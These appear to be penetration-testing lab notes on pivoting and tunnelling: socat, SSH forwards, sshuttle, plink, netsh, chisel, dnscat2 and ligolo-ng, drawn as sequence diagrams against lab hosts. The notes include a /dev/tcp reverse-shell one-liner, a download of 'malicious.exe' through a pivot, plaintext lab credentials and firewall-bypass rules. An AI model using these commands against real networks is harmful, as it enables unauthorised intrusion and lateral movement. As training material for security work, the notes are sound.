Port Forwarding

Others (not explained)

  • Netcat and named pipes (only mentioned by name)
  • IPtables (requires root privileges, only mentioned by name)

Socat

Pasted image 20240513054151

We do have a PostgreSQL client installed on Kali. We can create a port forward on CON that forwards all packets received on its WAN interface to the PostgreSQL server on PG.

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	critical Setup a port forward
		Note over C: socat -ddd TCP-LISTEN:2345,fork<br> TCP:10.4.50.215:5432
		K-->>C: #10142; port 2345
		activate C
		C-->>P: #10142; port 5432
		deactivate C
	end
	critical Connect to the database
		Note over K: psql -h 192.168.50.63<br> -p 2345 -U postgres
		K->>C: #10142; port 2345
		activate C
		C->>P: #10142; port 5432
		deactivate C
	end 

Pasted image 20240513060802

SSH

SSH Local Port Forwarding

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	participant ? as ????<br>172.16.50.217
	critical Setup SSH local port forward
		Note over C: ssh -N -L 0.0.0.0:4455:172.16.50.217:445<br> [email protected]
		C-->C: receive on 4455
		activate C
		C-->P: (SSH tunnel)<br>port x #10142; 22
		deactivate C
		activate P
		P-->?: port x #10142; 445
		deactivate P
	end
	critical Connect to SMB
		Note over K: smbclient -p 4455 -L //192.168.50.63/<br> -U hr_admin --password=Welcome1234
		K->>C: port x #10142; 4455
		activate C
		C-->>P: (SSH tunnel)<br>port x #10142; 22
		deactivate C
		activate P
		P->>?: port x #10142; 445
		deactivate P
	end

[email protected]`

Instruct SSH to:

  • listen on all interfaces on port 4455 on CONFLUENCE01 (0:0:0:0:4455)
  • then forward all packets (through the SSH tunnel to PGDATABASE01) to port 445 on the newly-found host (172.16.50.217:445).

We’ll pass the local port forwarding argument (-L) and use -N to prevent a shell from being opened.

Tip

  • The -N flag prevents any output. The -f flag forks the process, giving back access to the current terminal.
  • We can confirm that the ssh process is listening on CONFLUENCE01 using ss -ntplu.

If the SSH connection or the port forward fails -v flag to ssh in order to receive debug output.

And the output we get from the standard SSH session isn’t sufficient to troubleshoot it, we can pass the

SSH Dynamic Port Forwarding

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	participant ? as ????<br>172.16.50.217
	critical Setup SSH dynamic port forward
		Note over C: ssh -N -D 0.0.0.0:9999 [email protected]
		C-->C: receive on port 9999
		activate C
		C-->P: (SSH tunnel)<br>#10142; port 22
		deactivate C
		activate P
		P-->?: #10142; any port
		deactivate P
	end
	Note over K: Edit /etc/proxychains4.conf<br>`socks5 192.168.50.63 9999`
	critical Connect to SMB using Proxychains
		Note over K: proxychains smbclient -L //172.16.50.217/<br> -U hr_admin -- password=Welcome1234
		K->>C: #10142; port 9999
		activate C
		C-->>P: (SSH tunnel)<br>#10142; port 22
		deactivate C
		activate P
		P->>?: #10142; port 445
		deactivate P
	end
	critical Nmap port scan using Proxychains
		Note over K: proxychains nmap -vvv -sT --top-ports=20<br> -Pn 172.16.50.217
		K->>C: #10142; port 9999
		activate C
		C-->>P: (SSH tunnel)<br>#10142; port 22
		deactivate C
		activate P
		P->>?: #10142; multiple ports
		deactivate P
	end

-U hr_admin — password=Welcome1234`

Use the command as normal but preface it with proxychains so that it is sent to the socket defined in /etc/proxychains4.conf (ie 192.168.50.63:9999).

SSH Remote Port Forwarding

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	Note over K: Start the SSH server<br>`sudo systemctl start ssh`
	Note over K: Check SSH is running<br>`sudo ss -ntplu`
	
	critical Setup SSH remote port forward
		Note over C: ssh -N -R 127.0.0.1:2345:10.4.50.215:5432<br> [email protected]
		C-->>K: (SSH tunnel)
		activate K
		K-->>C: (SSH tunnel)<br>port 2345 #10142; ?
		deactivate K
		activate C
		C-->>P: #10142; port 5432
		deactivate C
	end
	critical Connect to PostgreSQL database
		Note over K: psql -h 127.0.0.1<br> -p 2345 -U postgres
		K->>C: (SSH tunnel)<br>port 2345 #10142; ?
		activate C
		C->>P: #10142; port 5432
		deactivate C
	end

SSH Remote Dynamic Port Forwarding

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	Note over K: Start the SSH server<br>`sudo systemctl start ssh`
	Note over K: Check SSH is running<br>`sudo ss -ntplu`
	
	critical Setup SSH remote dynamic port forward
		Note over C: ssh -N -R 9998 [email protected]
		C-->>K: (SSH tunnel) 
		activate K
		K-->>C: (SSH tunnel)<br>port 9998 #10142;<br>socks traffic
		deactivate K
		activate C
		C-->>P: #10142; any port
		deactivate C
	end
	Note over K: Edit /etc/proxychains4.conf<br>`socks5 127.0.0.1 9998`
	critical Run Nmap
		Note over K: proxychains nmap -vvv -sT<br> --top-ports=20 -Pn -n 10.4.50.64
		K-->>C: (SSH tunnel)
		activate C
		C->>P: #10142; any port
		deactivate C
	end

Sshuttle

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	participant ? as ????<br>172.16.50.217
	critical Setup Socat port forward
		Note over C: socat TCP-LISTEN:2222,fork<br> TCP:10.4.50.215:22
		K-->>C: #10142; port 2222
		activate C
		C-->>P: #10142; port 22
		deactivate C
	end
	critical Specify which subnets to run through the SSH connection
	Note over K: sshuttle -r [email protected]:2222<br> 10.4.50.0/24 172.16.50.0/24
	end
	critical Connect to smbclient
		Note over K: smbclient -L //172.16.50.217/<br> -U hr_admin --password=Welcome1234
		K->>C: #10142; port 2222
		activate C
		C->>P: #10142; port 22
		deactivate C
		activate P
		P->>?: #10142; port 445
	end

ssh.exe

Remote Dynamic Port Forward

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant M as MULTISERVER<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	Note over K: `sudo systemctl<br> start ssh`
	Note over M: Find install location<br> `where ssh`
	Note over M: Check install version<br> (above 7.6 for remote dynamic?)<br>`ssh.exe -V`
	critical Setup SSH remote dynamic port forward
		Note over M: ssh -N -R 9998 [email protected]
		M-->>K: (ssh tunnel)<br> port 22 #8592;
		activate K
		K-->>M: (ssh tunnel)<br>(socks traffic)<br>port 9998 #10142;
		deactivate K
	end
	Note over K: Update /etc/proxychains.conf4<br>`socks5 127.0.0.1 9998`
	critical Connect to PostgreSQL database
		Note over K: proxychains psql -h 10.4.50.215<br> -U postgres
		K->>M: (ssh tunnel)
		activate M
		M->>P: #10142; port 5432
		deactivate M
	end

Remote Port Forward

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant M as MULTISERVER<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	critical Setup SSH remote dynamic port forward
		Note over M: plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE><br> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4
		M-->>K: (ssh tunnel)<br> port 22 #8592;
		activate K
		K-->>M: (ssh tunnel)<br>port 9833 #10142; 3389
		deactivate K
	end
	critical RDP onto MULTISERVER03
		Note over K: xfreerdp /u:rdp_admin<br> /p:P@ssw0rd! /v:127.0.0.1:9833
		K->>M: (ssh tunnel) #10142; port 3389
	end

Netsh

sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant M as MULTISERVER<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	critical Setup netsh port forward
		Note over M: Run `cmd.exe` as administator
		Note over M: netsh interface portproxy add v4tov4<br> listenport=2222 listenaddress=192.168.50.64<br> connectport=22 connectaddress=10.4.50.215
		activate M
		M-->>M: listen port 2222
		M-->>P: #10142; port 22
		deactivate M
	end
	critical Check port forward status
		Note over M: `netsh interface portproxy show all`<br>`netstat -anp TCP | find "2222"`
	end
	K-xM: Firewall blocks our request<br> to port 2222
	critical Edit firewall rules
		Note over M: netsh advfirewall firewall add rule<br> name="port_forward_ssh_2222" protocol=TCP dir=in<br> localip=192.168.50.64 localport=2222 action=allow
	end
	critical Connect via SSH
		K->>M: #10142; port 2222
		activate M
		M->>P: #10142; port 22
		deactivate M
	end
	critical Delete firewall and portporxy rule
		Note over M: netsh advfirewall firewall<br> delete rule name="port_forward_ssh_2222"
		Note over M: netsh interface portproxy del v4tov4<br> listenport=2222 listenaddress=192.168.50.64
	end

Tunnelling through Deep Packet Inspection

HTTP Tunnelling

Chisel

SOCKS proxy
sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	critical Set up Chisel
		Note over K: chisel server --port 8080<br>--reverse
		Note over C: chisel client 192.168.118.4:8080<br>R:socks > /dev/null 2>&1 &
		C-->>K: (Chisel tunnel)<br>port 8080 #8592; C
		activate K
		K-->>K: Setup listener on<br>127.0.0.1:1080
		deactivate K
		activate K
		K-->>C: (Chisel tunnel)<br>port 1080 #8594; C
		deactivate K
	end
	critical SSH via Chisel tunnel
		Note over K: ssh -o ProxyCommand=<br>'ncat --proxy-type socks5<br> --proxy 127.0.0.1:1080 %h %p'<br>[email protected]
		K->>C: (Chisel tunnel)<br>K #8594; C
		activate C
		C->>P: (Forwarded by Chisel client)<br>C #8594; port 22
		deactivate C
		P->>K: SSH shell<br>(Effectively)
	end
Reverse port forward
sequenceDiagram
	participant K as KALI<br/>192.168.118.4
	participant C as CONFLUENCE01<br>192.168.50.63
	critical Set up Chisel
		Note over K: chisel server --port 8080<br>--reverse
		Note over C: chisel client 192.168.118.4:8080<br>R:1433:127.0.0.1:1433
		C-->>K: (Chisel tunnel)<br>port 8080 #8592; C
		activate K
		K-->>K: Setup listener on<br>127.0.0.1:1433
		deactivate K
		activate K
		K-->>C: (Chisel tunnel)<br>port 1433 #8594; C port 1433
		deactivate K
	end
	critical SSH via Chisel tunnel
		Note over K: impacket-mssql<br>svc_mssql:'Service1'@127.0.0.1<br>-windows-auth
		K->>C: (Chisel tunnel)<br>port 1433 K #8594; C port 1433
		activate C
	end

DNS Tunnelling

dnscat2

sequenceDiagram
	participant F as FELINEAUTHORITY<br>192.168.50.64<br>(Under our control)
	participant M as MULTISERVER03<br>192.168.50.63
	participant P as PGDATABASE01<br>10.4.50.215
	participant H as HRSHARES<br>172.16.50.217
	critical Setup dnscat2
		Note over F: dnscat2-server feline.corp
		Note over P: ./dnscat feline.corp
		P-->>F: (dns tunnel)<br>port 53 #8592; P, via M
	end
	critical Setup port forward
		Note over F: listen 127.0.0.1:4455<br>172.16.2.11:445
			F-->>F: port 4455
		activate F
			F-->>P: (dns tunnel)<br>F #8594; P
		deactivate F
		activate P
			P-->>H: P #8594; port 445
		deactivate P
	end
	Note over F: smbclient -p 4455 -L //127.0.0.1<br>-U hr_admin -- password=Welcome1234
	F->>F: F #8594; port 4455
	F->>P: (dns tunnel)<br>F #8594; P
	activate P
		P->>H: P #8594; port 445
	deactivate P

Ligolo-ng

Single pivot

sequenceDiagram
	participant K as KALI<br>10.10.14.3
	participant C as CONFLUENCE01<br>172.16.1.215
	participant P as PGDATABASE01<br>192.168.2.100
	Note over K: sudo ip tuntap add user kali mode tun ligolo
	Note over K: sudo ip link set ligolo up
	Note over K: ./proxy -selfcert
	Note over C: ./agent -connect 10.10.14.3:11601 -ignore-cert
	Note over K: >> session<br>>> 1
	Note over K: [new terminal]<br>sudo ip route add 192.168.2.0/24 dev ligolo<br><br>[check]<br>ip route list
	Note over K: >> start
	Note over K: nmap 192.168.2.100
	K->>C: K #8594; C
	activate C
	C->>P: C #8594; P
	deactivate C

Listeners (for reverse shells / file transfers)

sequenceDiagram
	participant K as KALI<br>10.10.14.3
	participant C as CONFLUENCE01<br>172.16.1.215
	participant P as PGDATABASE01<br>192.168.2.100
	participant D as MS01<br>192.168.123.50
	critical Setup a single pivot
		Note over K,C: see above
	end
	critical Execute a reverse shell
		Note over K: [Ensure within correct session]<br><br>>> listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
		Note over K: nc -lvnp 4444
		Note over P: /bin/sh -i >& /dev/tcp/172.16.1.215/1234 0>&1
		P->>C: port 1234 #8592; P 
		activate C
		C->>K: port 4444 #8592; C
		deactivate C
	end
	critical Transfer a file
		Note over K: >> listener_add --addr 0.0.0.0:1235 --to 127.0.0.1:8000
		Note over K: python -m http.server 8000
		Note over P: wget http://172.16.1.215:1235/malicious.exe
		P->>C: port 1235 #8592; P
		activate C
		C->>K: port 8000 #8592; C
		deactivate C
	end

Double pivot

sequenceDiagram
	participant K as KALI<br>10.10.14.3
	participant C as CONFLUENCE01<br>172.16.1.215
	participant P as PGDATABASE01<br>192.168.2.100
	participant D as MS01<br>192.168.123.50
	Note over K: [Ensure within correct session]<br><br>>> listener_add --addr 0.0.0.0:11601 --to 0.0.0.0:11601
	Note over P: ./agent.exe -connect 172.16.1.215:11601 -ignore-cert 
	Note over K: >> session<br>>> 2
	Note over K: [new terminal]<br>sudo ip route add 192.168.123.0/24 dev ligolo2
	Note over C: >> session<br>>> 2<br>>> start --tun ligolo2
	Note over K: nmap 192.168.123.50
	K->>C: 
	activate C
	C->>P: 
	deactivate C
	activate P
	P->>D: 
	deactivate P

Triple pivot

See this article.